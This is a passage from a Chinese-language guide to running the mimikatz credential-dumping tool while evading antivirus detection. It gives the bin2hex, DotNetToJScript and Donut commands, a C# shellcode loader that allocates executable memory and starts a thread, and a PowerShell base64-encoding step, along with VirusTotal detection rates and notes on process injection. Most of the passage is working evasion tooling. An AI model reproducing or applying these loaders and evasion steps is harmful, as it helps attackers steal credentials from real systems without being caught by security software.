然后使用bin2hex.exe将mimi.txt转换为16进制文件,bin2hex.exe可在这里下载到https://github.com/TideSec/BypassAntiVirus/blob/master/tools/bin2hex.exe
bin2hex.exe --i mimi.txt --o mimi2.txt
在vs2017中创建C#的Console工程,把mimi2.txt中的16进制放到下面代码中的MsfPayload中。
using System; using System.Threading; using System.Runtime.InteropServices; namespace MSFWrapper { public class Program { public Program() { RunMSF(); } public static void RunMSF() { byte[] MsfPayload = { 0x4D, 0x5A, 0x45, 0x52, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x5B, 0x48, 0x83, 0x41, 0x59, 0x41, 0x58, 0x41, 0x5C, 0x5F, 0x5E, 0x5B, 0xC2, 0x04, 0x00 }; IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40); Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length); CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0); Thread.Sleep(2000); } public static void Main() { } [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); } }编译生成exe文件。
然后使用DotNetToJScript把csharp文件转为js
DotNetToJScript.exe -l=JScript -o=mimikatz.js -c=MSFWrapper.Program ConsoleApp1.exe使用cscript.exe mimikatz.js进行执行。
virustotal.com上mimi.txt文件查杀率为21/57。
方法9-Donut执行mimikatz(VT查杀率29/71)
先使用donut把mimiktaz.exe转为bin文件。
donut.exe -f mimikatz.exe -o mimi.bin
将mimi.bin作base64编码并保存在剪贴板,powershell命令如下:
$filename = "mimi.bin" [Convert]::ToBase64String([IO.File]::ReadAllBytes($filename)) | clip把base64编码复制到DonutTest工程中。
编译生成exe。
在注入进程时,发现注入到notepad.exe中无法执行,但注入到powershell中可以执行。